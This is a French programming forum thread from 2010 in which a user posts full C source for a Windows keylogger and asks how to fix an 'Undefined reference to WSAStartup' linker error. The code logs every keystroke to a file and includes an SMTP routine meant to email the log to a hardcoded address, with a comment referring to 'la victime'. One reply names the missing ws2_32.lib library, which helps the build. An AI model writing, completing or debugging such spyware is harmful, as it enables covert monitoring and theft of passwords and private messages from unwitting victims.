Accueil > Forum > > > > slt, j'ai compilé mon code, il me présente des erruers que je n'arrive pas a lezs resoudre, alors si quelqun avait rencontré cette erreur ou bien connais sa solution, merci bien de m'avoir repondre, il m'affiche comme erreur " Undefined reference to 'WSAS
slt, j'ai compilé mon code, il me présente des erruers que je n'arrive pas a lezs resoudre, alors si quelqun avait rencontré cette erreur ou bien connais sa solution, merci bien de m'avoir repondre, il m'affiche comme erreur " Undefined reference to 'WSAS
mardi 2 novembre 2010 à 11:01:48 |
slt, j'ai compilé mon code, il me présente des erruers que je n'arrive pas a lezs resoudre, alors si quelqun avait rencontré cette erreur ou bien connais sa solution, merci bien de m'avoir repondre, il m'affiche comme erreur " Undefined reference to 'WSAS

chyoucef
|
Code C/C++ : #include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winuser.h>
#include <windowsx.h>
#include <time.h>
int MailIt (char *mailserver, char *emailto, char *emailfrom,
char *emailsubject, char *emailmessage);
//******************************************************************
#define BUFSIZE 800
#define waittime 500
#define cmailserver "smtp.mail.yahoo.fr"
#define cemailto "destination@yahoo.fr"
#define cemailfrom "source@yahoo.fr"
#define LogLength 100
#define FileName "sound.wav"
#define SMTPLog "smtpfile.txt"
#define cemailsubject "Logged"
#define cemailmessage "Helloooooooo wooooorld"
//******************************************************************//
//*****************************************************************//
int isalt(); //savoir si alt est pressé
int ismajpressed(); //savoir si shift est pressé
int ismaj(); //savoir si on le clavier est en état de majuscule ( prenant en compte caps Lock et shift )
void TraiterLettre(int lettre); // traiter les touche qui presente un probleme.
int majuscule; //savoir si le clavier est en mode caps lock
FILE *sortie; // le fichier de sortie
char fichier[256]; // declarer un tableau pour remplir le tableau de sortie.
//******************************************************************//
// le programme principal //
//******************************************************************//
int main(int argc, char *argv[])
{
int i, lettre, result, lastresult, lastletter, compteur;
// definir le dossier contenant le fichier "LOG.txt"
GetCurrentDirectory(256, fichier);
strcat(fichier,"\\Monfichierlog.txt");
sortie = fopen(fichier,"w+"); // ouvrir le fichier "LOG.txt"
//////////////////////////////////
result=0;
compteur=0; //on initialise les variables
lastresult=0;
i=0;
while ( i==0 ) { //boucle sans fin
lettre=13;
for ( lettre==13 ; lettre<256 ; lettre++ ) { //test de toutes les lettres
//passer les caractères inutiles
if ( lettre==14 ) lettre=20;
if ( lettre==21 ) lettre=48;
if ( lettre==58 ) lettre=65;
if ( lettre==91 ) lettre=96;
if ( lettre==108 ) lettre=109;
if ( lettre==112 ) lettre=186;
if ( lettre==189 ) lettre=190;
if ( lettre==193 ) lettre=219;
if ( lettre==220 ) lettre=221;
if ( lettre==222 ) lettre=223;
result=GetKeyState(lettre);
// POUR LA TOUCHE CAPS LOCK, LE 20, IL Y A UN TRAITEMENT PARTICULIER POUR VOIR LE MODE DU CLAVIER
if ( ( lettre==20 ) && ( result==0 ) ) majuscule=0; // si caps lock est non appuyée maj=0
if ( ( lettre==20 ) && ( result==1 ) ) majuscule=1; // sinon maj=1
// ********************************************************************
// si result ne prend ni 1 ni 0 alors on doit trater cette touche
if ( ( result!=0 ) && ( result!=1 ) && (lettre!=lastletter) )
{
TraiterLettre(lettre); // si la touche est specifique
lastresult=result; //
lastletter=lettre; // lastletter prend la valeur de la derniere touche causant un probleme
lettre=13; // revenir a l'etat initiale
Sleep(50); //
}
else if ( ( ( result!=0 ) && ( result!=1 ) ) | ( ( lettre==lastletter ) && ( lastresult!=result ) ) )
{ //si une nouvelle touche est frappée
if ( ( result!=lastresult ) && ( ( result==-127 ) | ( result==-128 ) )
&& !( ( ( result==-127 ) && ( lastresult==-128 ) ) | ( ( result==-128 )
&& ( lastresult==-127 ) ) ) ) TraiterLettre(lettre); //je ne sais plus trop mais ça marche
lastresult=result;
lastletter=lettre;
Sleep(50);
} //fin de traitement pour une nouvelle touche
} //fin de test des lettres
Sleep(1);
} //fin de la boucle sans fin
MailIt (cmailserver, cemailto, cemailfrom,cemailsubject, cemailmessage);
return 0;
}
//**************************************************************************************
// LA FONVTION ISALT POUR TESTER LA TOUCHE ALT//
//**************************************************************************************
int isalt() {
int result;
result=GetKeyState(VK_MENU );
if ( ( result==-127 ) || ( result==-128 ) ) return 1;
else return 0;
}
//**************************************************************************************
//**************************************************************************************
// TESTER SI LE CLAVIER EST EN MODE MAJUSCULE //
//**************************************************************************************
int ismaj() {
if ( ( ( majuscule ) && ( !ismajpressed() ) ) || ( ( !majuscule ) && ( ismajpressed() ) ) )
return 1;
else return 0;
}
//**************************************************************************************
//**************************************************************************************
// TESTER SI LA TOUCHE CAPS LOCK EST PRESS?E //
//**************************************************************************************
int ismajpressed() {
int result;
result=GetKeyState(VK_SHIFT );
if ( ( result==-127 ) || ( result==-128 ) ) return 1;
else return 0;
}
//**************************************************************************************
// TRAITER LES TOUCHES SPECIFIQUES //
//**************************************************************************************
void TraiterLettre(int lettre) {
char towrite; //la lettre que l'on va écrire dans la console
static int compteur = 0;
//traitement des chiffres ( un décalage )
if ( ( lettre<106 ) && ( lettre>95 ) ) towrite=lettre-48;
//Les lettres sont envoyées comme majuscules, il faut faire un décalage
else if ( ( lettre<91 ) && ( lettre>64 ) && ( !ismaj() ) ) towrite=lettre+32;
//Sinon on écrit telle quelle la lettre
else if ( ( lettre<91 ) && ( lettre>64 ) ) towrite=lettre;
else switch ( lettre ) {
case VK_MENU:
fprintf(sortie,"<alt>",towrite);
break;
case VK_BACK:
fprintf(sortie,"<delete>",towrite);
break;
case VK_DELETE:
fprintf(sortie,"<Suppr>",towrite);
break;
case 9:
fprintf(sortie,"<TAB>",towrite);
break;
case VK_CONTROL:
fprintf(sortie,"<ctrl>",towrite);
break;
case 49 : if( ismaj() ) towrite='1';
else towrite='&';
break;
case 50 : if ( ismaj() ) towrite='2';
else towrite='é';
break;
case 51 : if ( ismaj() ) towrite='3';
else towrite='"';
break;
case 52 : if ( ismaj() ) towrite='4';
else towrite= '"';
break;
case 53 : if ( ismaj() ) towrite='5';
else towrite='(';
break;
case 54 : if ( ismaj() ) towrite='6';
else towrite='-';
break;
case 55 : if ( ismaj() ) towrite='7';
else towrite='è';
break;
case 56 : if ( ismaj() ) towrite='8';
else towrite='_';
break;
case 57 : if ( ismaj() ) towrite='9';
else towrite='ç';
break;
case 48 : if ( ismaj() ) towrite='0';
else towrite='à';
break;
case 187 : if( ismaj() ) towrite='=';
else towrite='+';
break;
case 186 : if ( ismaj() ) towrite='£';
else towrite='$';
break;
case 192 : if ( ismaj() ) towrite='%';
else towrite='ù';
break;
case 188 : if ( ismaj() ) towrite='?';
else towrite=',';
break;
case 190 : if ( ismaj() ) towrite='.';
else towrite=';';
break;
case 191 : if ( ismaj() ) towrite='/';
else towrite=':';
break;
case 32 : if ( isalt() ) towrite=' ';
else towrite=' ';
break;
case 219 : if ( isalt() ) towrite=']';
else towrite=')';
break;
case 223 : towrite='!';
break;
case 111 : towrite='/';
break;
case 106 : towrite='*';
break;
case 109 : towrite='-';
break;
case 107 : towrite='+';
break;
case 110 : towrite='.';
break;
}
#
#
// On affiche les lettres dans le log
if ( lettre==13 ) fprintf(sortie,"\n");
else fprintf(sortie,"%c",towrite);
compteur++;
#
if ( compteur==2 ) {
fclose(sortie);
fopen(fichier,"a");
compteur=0;
}
}
int MailIt (char *mailserver, char *emailto, char *emailfrom,
char *emailsubject, char *emailmessage) {
SOCKET sockfd;
WSADATA wsaData;
FILE *smtpfile;
#define bufsize 300 // taille du fichier pour l' envoie
int bytes_sent;
int err;
struct hostent *host; /* gethostbyname */
struct sockaddr_in dest_addr; /* adresse de l'hote */
char line[1000];
char *Rec_Buf = (char*) malloc(bufsize+1);
smtpfile=fopen(SMTPLog,"a+");
//tester l'accessibilite du chemin du socket
if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR ) {
fputs("WSAStartup failed",smtpfile);
WSACleanup();
return -1;
}
// tester le serveur smtp
if ( (host=gethostbyname(mailserver)) == NULL) {
perror("gethostbyname");
exit(1);
}
memset(&dest_addr,0,sizeof(dest_addr));
memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);
#
/* Preparer l'addresse destination dest_addr */
dest_addr.sin_family= host->h_addrtype;
dest_addr.sin_port= htons(587); /* PORT */
#
if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
perror("socket");
exit(1);
}
/* Connection !*/ // tester lecalement si le programme est bien marché chez la victime
fputs("Connecting....\n",smtpfile);
#
if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
perror("connect");
exit(1);
}
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
// ecrire dans le fichier smtpfile "helo me..."
strcpy(line,"helo me.somepalace.com\n");
fputs(line,smtpfile);
// bytes_sent prend le nombre de lettre contenant dans smtpfile
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"MAIL FROM:<");
strncat(line,emailfrom,strlen(emailfrom));
strncat(line,">\n",3);
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"RCPT TO:<");
strncat(line,emailto,strlen(emailto));
strncat(line,">\n",3);
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"DATA\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
Sleep(waittime);
strcpy(line,"To:");
strcat(line,emailto);
strcat(line,"\n");
strcat(line,"From:");
strcat(line,emailfrom);
strcat(line,"\n");
strcat(line,"Subject:");
strcat(line,emailsubject);
strcat(line,"\n");
strcat(line,emailmessage);
strcat(line,"\r\n.\r\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"quit\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
fclose(smtpfile);
#ifdef WIN32
closesocket(sockfd);
WSACleanup();
#else
close(sockfd);
#endif
}
[code=cpp]
|
|
mardi 2 novembre 2010 à 11:03:24 |
il m'affiche comme erreur " Undefined reference to 'WSAStartup' "
|
mardi 2 novembre 2010 à 12:04:08 |
Re : slt, j'ai compilé mon code, il me présente des erruers que je n'arrive pas a lezs resoudre, alors si quelqun avait rencontré cette erreur ou bien connais sa solution, merci bien de m'avoir repondre, il m'affiche comme erreur " Undefined reference to

Fabrice90
|
Salut,
Fait attention quand tu créer un post! Le sujet n'est pas là ou tu doit poser ta question!
Ton problème est dû à la fonction "WSAStartup" qui n'est pas définie!
"Undefined reference to 'WSAStartup'" => Pas de référence définie pour 'WSAStartup'
Cdlt,
Fabrice
|
|
mardi 2 novembre 2010 à 13:29:26 |
Re : slt, j'ai compilé mon code, il me présente des erruers que je n'arrive pas a lezs resoudre, alors si quelqun avait rencontré cette erreur ou bien connais sa solution, merci bien de m'avoir repondre, il m'affiche comme erreur " Undefined reference to
|
dimanche 7 novembre 2010 à 11:07:46 |
Re : slt, j'ai compilé mon code, il me présente des erruers que je n'arrive pas a lezs resoudre, alors si quelqun avait rencontré cette erreur ou bien connais sa solution, merci bien de m'avoir repondre, il m'affiche comme erreur " Undefined reference to

rt15
|
Bonjour,
Pour une question C, merci de poster sur cppfrance dans un thème C.
Le linker ne trouve pas WSAStartup. Quand on a ce problème avec une fonction windows, il suffit d'aller consulter la documentation de la fonction. Le .lib à ajouter en entrée du lieur est précisé : ws2_32.lib.
[ Déplacé sur cppfrance.com ]
|
|
Cette discussion est classée dans : case, break, line, if, towrite
Répondre à ce message
Sujets en rapport avec ce message
keylogger [ par rebelattack ]
Bonjour, je souhaiterais surveillé les activité de mon fils sur le net, pour cela j'ai pensé a un keylogger. J'ai récupperé un code C sur votre site :
Keylogger probleme code [ par rebelattack ]
bonjour,J'ai un probleme lorsque je veux compiler ce code. Je suis débutant, mais j'ai réunis plusieur code et çà doit etre la le probleme. donc lorsq
logiciel Borland C++ et DevC++ [ par waldomania ]
Bonjour, j'ai un grand problème car j'ai programmé un mini projet sur un Dev C++ mais ça marche pas à Borland C++ le projet est en langage c (!=C++)
probleme sscanf [ par maha1987 ]
bjr tt le monde jai un prob dans ce prog (dans la fct verif si letat =4 le prog doit sticker la valeur de la partie entiere et decimale de la chaine d
Deplacement de plusieurs sprites à l'écran (SDL) [ par rasolofomanana ]
Bonjour à tous, je débute en C et j'essaie de créer un programme où l'on peut déplacer plusieurs sprites à l'écran, par cases de 40px. Le problème es
[déplacé BAR -> C] Chronometre dans un jeu [ par wallaby83140 ]
Bonjour, Je travaille sur un jeu où j'ai mis un chronomètre.[^^happy13] Mais ce chronomètre ne se déclench que los d'une action dans le jeu. Exemple:
Projet qui a besoin d'aide [ par juicestyle ]
Tous d'abord bonjours à tous, j'espér trouver de l'aide ici. Voila je commence le C et j'ai un projet en tête <'est un petit logiciel pour créer des p
pour que mes touches soient détectées immédiatement [ par snake57 ]
Bonjour,j'ai un petit soucis avec la détection de touche. Je vous met le bout de code concerné plus bas pour que vous ayez une idée.Enfait je détecte
fonction switch et équivalent [ par gromhouleux ]
Bonjour, en fait je cherche un équivalent à la fonction switch en C++. Je m'explique,Switch permet de faire une action en fonction d'une valeur entiè
Livres en rapport
|
Derniers Blogs
POUR RAPPEL ! LES SPéCIFICATIONS DES PROTOCOLES OFFICE ET SHAREPOINT SONT DISPONIBLES SUR MSDNPOUR RAPPEL ! LES SPéCIFICATIONS DES PROTOCOLES OFFICE ET SHAREPOINT SONT DISPONIBLES SUR MSDN par neodante
Quelle est le point commun entre : Microsoft il y a 10 ans et Apple aujourd'hui ? Réponse: avoir une politique de protocoles propriétaires et fermés :) Car pour rappel (si si je vous assure c'est important de le rappeler), la majorité des spécifications e...
Cliquez pour lire la suite de l'article par neodante JOYEUX ANNIVERSAIRE NIXJOYEUX ANNIVERSAIRE NIX par ebartsoft
Souhaitons un bon et joyeux anniversaire à notre hôte à tous, Nix.
Je ne le répéterais jamais assez mais sans lui rien ne serait possible. Il défit en permanence les lois de la gravité et comme il le dit si bien, si tu lui fais confiance ça devra...
Cliquez pour lire la suite de l'article par ebartsoft IMAGINE CUP 2012, MAKE A SIGN EN FINALEIMAGINE CUP 2012, MAKE A SIGN EN FINALE par junarnoalg
Voilà qui est fait, la nouvelle est officielle ! L'équipe belge "Make a Sign" va au pays des kangourous défendre son projet dans la catégorie Software Design. http://www.imaginecup.com/CompetitionsContent/Competition/WorldwideFinalists.aspx V...
Cliquez pour lire la suite de l'article par junarnoalg KINECT 1.5 IS OUT !KINECT 1.5 IS OUT ! par Vko
La version 1.5 du Kinect For Microsoft vient tout juste de sortir ! Plein de nouveautés: Tracking de squelette en Near Mode Détection en position assise Détection faciale avec un SDK dédié Documentation et des guideline (enfin) Un out...
Cliquez pour lire la suite de l'article par Vko LES ACTUALITéS DE LA SEMAINE SUR C2I.FR (14 MAI - 20 MAI) LES ACTUALITéS DE LA SEMAINE SUR C2I.FR (14 MAI - 20 MAI) par richardc
Mise à jour des Web API du 14 Mai
Réservez dès maintenant votre journée du 20 juin pour le Windows Azure Dev Camp 2012 à Paris
Mise à jour de Team Foundation Service
MechCommander 2 sur Windows 8
Entity Framework 5 Release Candidate e...
Cliquez pour lire la suite de l'article par richardc
Forum
MATLAB PROGRAMME MATLAB PROGRAMME par wahab1087
Cliquez pour lire la suite par wahab1087 RGB2GRAYRGB2GRAY par musa18
Cliquez pour lire la suite par musa18
Logiciels
sDEVIS-FACTURES vlPRO (8.1.0.3)SDEVIS-FACTURES VLPRO (8.1.0.3)sDEVIS-FACTURES vlPRO a été mis au point pour les particuliers, créateurs, entrepreneurs, artisa... Cliquez pour télécharger sDEVIS-FACTURES vlPRO 974 Application Server (12.2.4.6)974 APPLICATION SERVER (12.2.4.6)Développez de puissantes applications dans un environnement de 'cloud computing', clusterisé, séc... Cliquez pour télécharger 974 Application Server vPicture (1.4.2.1)VPICTURE (1.4.2.1)Avec vPicture, hébergez vos images facilement et rapidement.
vPicture est un utilitaire simple, ... Cliquez pour télécharger vPicture Easy-Planning (2.2.1.6)EASY-PLANNING (2.2.1.6)Easy-Planning permet de créer des plannings sous la représentation de diagrammes et est adapté au... Cliquez pour télécharger Easy-Planning COM-BACKUP (2.0)COM-BACKUP (2.0)
COM-BACKUP est un logiciel de sauvegarde qui permet de planifier les sauvegardes de vos dossiers ...
Cliquez pour télécharger COM-BACKUP
|